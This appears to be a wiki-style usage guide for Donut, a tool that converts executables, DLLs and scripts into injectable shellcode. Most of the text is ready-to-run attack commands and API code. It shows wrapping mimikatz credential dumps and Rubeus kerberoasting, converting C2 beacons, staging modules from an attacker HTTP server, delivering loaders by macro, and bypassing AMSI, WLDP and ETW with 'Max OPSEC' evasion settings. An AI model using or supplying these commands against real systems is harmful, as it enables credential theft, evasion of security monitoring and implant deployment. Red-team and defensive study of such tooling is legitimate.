Donut Wiki

[Payload File]
      |
      v
[Donut Generator]
  - Read & validate payload
  - Build DONUT_MODULE (payload + metadata)
  - Compress (optional)
  - Encrypt with Chaskey-128-CTR
  - Build DONUT_INSTANCE (config + encrypted module)
  - Hash API strings with Maru (Speck64/Davies-Meyer)
  - Assemble PIC loader stub + instance
  - Emit loader.bin (or staged module file)
      |
      v
[loader.bin  <PIC shellcode>]
      |
      v  [Injected into target process]
      |
      v
[Loader Runtime]
  1. Resolve VirtualAlloc / VirtualFree via PEB walk
  2. Allocate RW memory, copy instance
  3. Decrypt instance (Chaskey CTR)
  4. Verify MAC (Maru hash of sig field)
  5. Load required DLLs (ole32, oleaut32, wininet, mscoree, shell32...)
  6. Resolve 48+ API addresses via Maru hash lookup
  7. Fetch module from HTTP if staged
  8. Decrypt and decompress module
  9. Bypass AMSI / WLDP / ETW
 10. Map & execute payload (CLR / PE / IActiveScript)
 11. Erase instance from memory
 12. Exit thread (or process, or block)

typedef struct _DONUT_MODULE {
    int      type;                   // EXE/DLL/JS/VBS
    int      thread;                 // run EXE entrypoint as thread?
    int      compress;               // compression engine used
    char     runtime[DONUT_MAX_NAME]; // CLR runtime version
    char     domain[DONUT_MAX_NAME];  // AppDomain name
    char     cls[DONUT_MAX_NAME];     // class (for .NET DLL)
    char     method[DONUT_MAX_NAME];  // method or export
    char     param[DONUT_MAX_NAME];   // arguments
    int      unicode;
    char     sig[DONUT_SIG_LEN];     // random string for MAC verification
    uint64_t mac;                    // Maru hash of sig
    uint32_t zlen;                   // compressed size
    uint32_t len;                    // original size
    uint8_t  data[4];               // payload bytes follow
} DONUT_MODULE;

Master Key (128-bit random)  +  Counter/Nonce (128-bit random)
        |                                |
        +-----------> Chaskey-CTR <------+
                           |
              Encrypted DONUT_MODULE / DONUT_INSTANCE

sudo apt install donut-shellcode
# or
sudo apt install python-donut

git clone https://github.com/TheWover/donut.git
cd donut

# Linux (produces donut binary, donut.so, donut.a)
make

# Windows — MSVC (x64 Developer Command Prompt)
nmake -f Makefile.msvc

# Windows / Linux — MinGW-w64
make -f Makefile.mingw

pip3 install donut-shellcode

# or from source
cd donut
pip3 install .

# Build
docker build -t donut .

# Run (mount current dir)
docker run -it --rm -v "${PWD}:/workdir" donut -h

# Generate shellcode via Docker
docker run -it --rm -v "${PWD}:/workdir" donut -i /workdir/payload.exe -o /workdir/loader.bin

donut [options] -i <payload_file>

donut -i SharpKatz.exe -a 2 -o loader.bin
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2

donut -i SafetyKatz.dll -c SafetyKatz -m Main -a 2

donut -i mimikatz.exe -p "lsadump::sam exit" -t -a 2

donut -i payload.dll -m RunShellcode -p "arg1 arg2" -a 2

donut -i payload.vbs -a 2
donut -i payload.js  -a 2

-b 1   No bypass attempted
-b 2   Bypass attempted; abort if it fails
-b 3   Bypass attempted; continue execution even if it fails (default)

BOOL DisableAMSI(PDONUT_INSTANCE inst) { ... }

make -f Makefile.mingw BYPASS_AMSI=BYPASS_AMSI_X

donut -i beacon.exe -a 2 -o loader.bin
# instance type: Embedded

donut -i beacon.exe -s https://192.168.1.10/modules/ -a 2 -o loader.bin
# Saves:
#   loader.bin       <- inject this into target
#   <random_name>    <- upload this to your HTTP server

donut -i beacon.exe -s https://user:pass@192.168.1.10/modules/ -a 2

donut -i beacon.dll -j C:\Windows\System32\amsi.dll -a 2 -o loader.bin

donut -i mimikatz.exe -p "lsadump::sam exit" -t -z 5 -a 2

pip3 install donut-shellcode

import donut

shellcode = donut.create(file="beacon.exe")
with open("loader.bin", "wb") as f:
    f.write(shellcode)

shellcode = donut.create(
    file    = 'payload.exe',      # Required: path to EXE/DLL/VBS/JS/.NET assembly
    url     = 'http://10.10.10.1/mods/',  # Staging server URL (omit for embedded)
    arch    = 3,                  # 1=x86, 2=amd64, 3=x86+amd64 (default)
    bypass  = 3,                  # 1=None, 2=Abort, 3=Continue (default)
    compress= 2,                  # 1=None, 2=aPLib, 3=LZNT1, 4=Xpress, 5=XpressHuff
    entropy = 3,                  # 1=None, 2=Random names, 3=Names+Encryption (default)
    format  = 1,                  # 1=Binary, 2=Base64, 3=C, 4=Ruby, 5=Python, 6=PS1, 7=CS, 8=Hex
    exit_opt= 1,                  # 1=Exit thread, 2=Exit process, 3=Block
    thread  = 1,                  # Run EXE entrypoint as thread
    cls     = 'Namespace.Class',  # .NET class (required for .NET DLL)
    method  = 'Execute',          # .NET method or DLL export
    params  = 'arg1 arg2',        # Parameters / command line
    runtime = 'v4.0.30319',       # CLR runtime version (auto-detected if omitted)
    appdomain = 'RandomDomain',   # AppDomain name (random if entropy enabled)
    output  = 'loader.bin',       # Output path
)

import donut, subprocess, sys

def generate_and_inject(payload_path, target_pid):
    sc = donut.create(
        file    = payload_path,
        arch    = 2,        # x64
        bypass  = 3,
        entropy = 3,
        compress= 2,
        exit_opt= 1,
        thread  = 1,
    )
    sc_path = "/tmp/loader.bin"
    with open(sc_path, "wb") as f:
        f.write(sc)
    print(f"[+] Shellcode: {len(sc)} bytes -> {sc_path}")
    # pass sc_path to your injector of choice

int          DonutCreate(PDONUT_CONFIG c);   // Generate shellcode
int          DonutDelete(PDONUT_CONFIG c);   // Free resources
const char*  DonutError(int error);          // Error description

#include "donut.h"
#include <string.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    DONUT_CONFIG c;
    memset(&c, 0, sizeof(c));

    // input file
    lstrcpyn(c.input, argv[1], DONUT_MAX_NAME - 1);

    // options
    c.inst_type = DONUT_INSTANCE_EMBED;     // stageless
    c.arch      = DONUT_ARCH_X84;           // dual x86+amd64
    c.bypass    = DONUT_BYPASS_CONTINUE;
    c.format    = DONUT_FORMAT_BINARY;
    c.compress  = DONUT_COMPRESS_NONE;
    c.entropy   = DONUT_ENTROPY_DEFAULT;    // randomise + encrypt
    c.exit_opt  = DONUT_OPT_EXIT_THREAD;
    c.thread    = 1;

    int err = DonutCreate(&c);
    if (err != DONUT_ERROR_SUCCESS) {
        printf("Error: %s\n", DonutError(err));
        return 1;
    }

    printf("[+] Shellcode: %d bytes -> %s\n", c.pic_len, c.output);
    DonutDelete(&c);
    return 0;
}

# MSVC
nmake inject_local -f Makefile.msvc
nmake inject -f Makefile.msvc

# Generate shellcode
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2 -e 3 -z 2 -o rubeus.bin

# Inject with your favourite injector (e.g. a C# loader, Havoc BOF, etc.)

# Convert C2 implant DLL to shellcode
donut -i beacon.dll -a 2 -e 3 -z 2 -b 3 -o beacon_sc.bin

# Use with process injection technique of choice

# Generate with HTTP staging
donut -i agent.exe -s https://teamserver.lab/mods/ -a 2 -e 3 -b 3 -o loader.bin

# Host the module file on teamserver (the random-named file donut saves alongside loader.bin)
python3 -m http.server 443 --directory /tmp/mods/

# Deliver loader.bin via macro / shellcode loader

donut -i mimikatz.exe -p "sekurlsa::logonpasswords exit" -t -z 5 -a 2 -o mimi.bin

donut -i implant.dll \
      -j C:\Windows\System32\wbem\wbemdisp.dll \
      -a 2 -e 3 -b 3 \
      -o loader.bin

# Generate as PowerShell
donut -i payload.exe -a 2 -f 6 -o sc.ps1

# sc.ps1 contains:
# $sc = [Convert]::FromBase64String("...")
# $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
# ... inject and execute

# In a Havoc listener window:
donut spawn implant.exe arg1 arg2

import donut

def generate_shellcode(payload_path, arch=2):
    return donut.create(
        file=payload_path,
        arch=arch,
        bypass=3,
        entropy=3,
        compress=2,
        exit_opt=1,
        thread=1,
    )

# Maximum entropy + encryption + compression + module overloading
donut -i payload.exe \
      -a 2 \
      -b 3 \          # continue even if AMSI/WLDP/ETW bypass fails
      -e 3 \          # random names + Chaskey encryption
      -z 2 \          # aPLib compression (cross-platform)
      -k 1 \          # zero PE headers (default)
      -j decoy.dll \  # module overloading
      -t \            # run entrypoint as thread
      -x 1 \          # exit thread when done
      -o loader.bin

typedef BOOL (WINAPI *VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);

{KERNEL32_DLL, "VirtualProtect"},

inst->api.VirtualProtect(addr, size, PAGE_EXECUTE_READ, &old);

#define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32;dnsapi;yourlib"

# MSVC
nmake debug -f Makefile.msvc

# MinGW
make debug -f Makefile.mingw

# Run against an instance file
loader instance

# Minimal — .NET EXE, dual-arch, default settings
donut -i Tool.exe

# .NET EXE with arguments
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2

# .NET DLL (class + method required)
donut -i SafetyKatz.dll -c SafetyKatz -m Main -a 2

# Native EXE (run as thread, Xpress Huffman compression)
donut -i mimikatz.exe -p "lsadump::sam exit" -t -z 5 -a 2

# Native DLL with export and args
donut -i payload.dll -m RunShellcode -p "beacon" -a 2

# VBScript / JScript
donut -i payload.vbs -a 2
donut -i runner.js   -a 2

# HTTP staging
donut -i agent.exe -s https://10.10.10.1/mods/ -a 2

# Module Overloading (stealth headers)
donut -i implant.dll -j C:\Windows\System32\amsi.dll -a 2

# Max OPSEC — encryption + compression + module overload + thread exit
donut -i implant.exe -a 2 -e 3 -b 3 -z 2 -j decoy.dll -t -x 1

# Output formats
donut -i payload.exe -f 2   # Base64
donut -i payload.exe -f 3   # C array
donut -i payload.exe -f 6   # PowerShell
donut -i payload.exe -f 7   # C#
donut -i payload.exe -f 8   # Hex

# Preserve PE headers (payload reads own resources)
donut -i payload.dll -k 2

# Block after execution (don't exit thread)
donut -i payload.exe -x 3

# Python API — minimal
python3 -c "import donut; open('x.bin','wb').write(donut.create(file='payload.exe',arch=2))"

# Docker
docker run -it --rm -v "\${PWD}:/workdir" donut -i /workdir/payload.exe -a 2 -o /workdir/loader.bin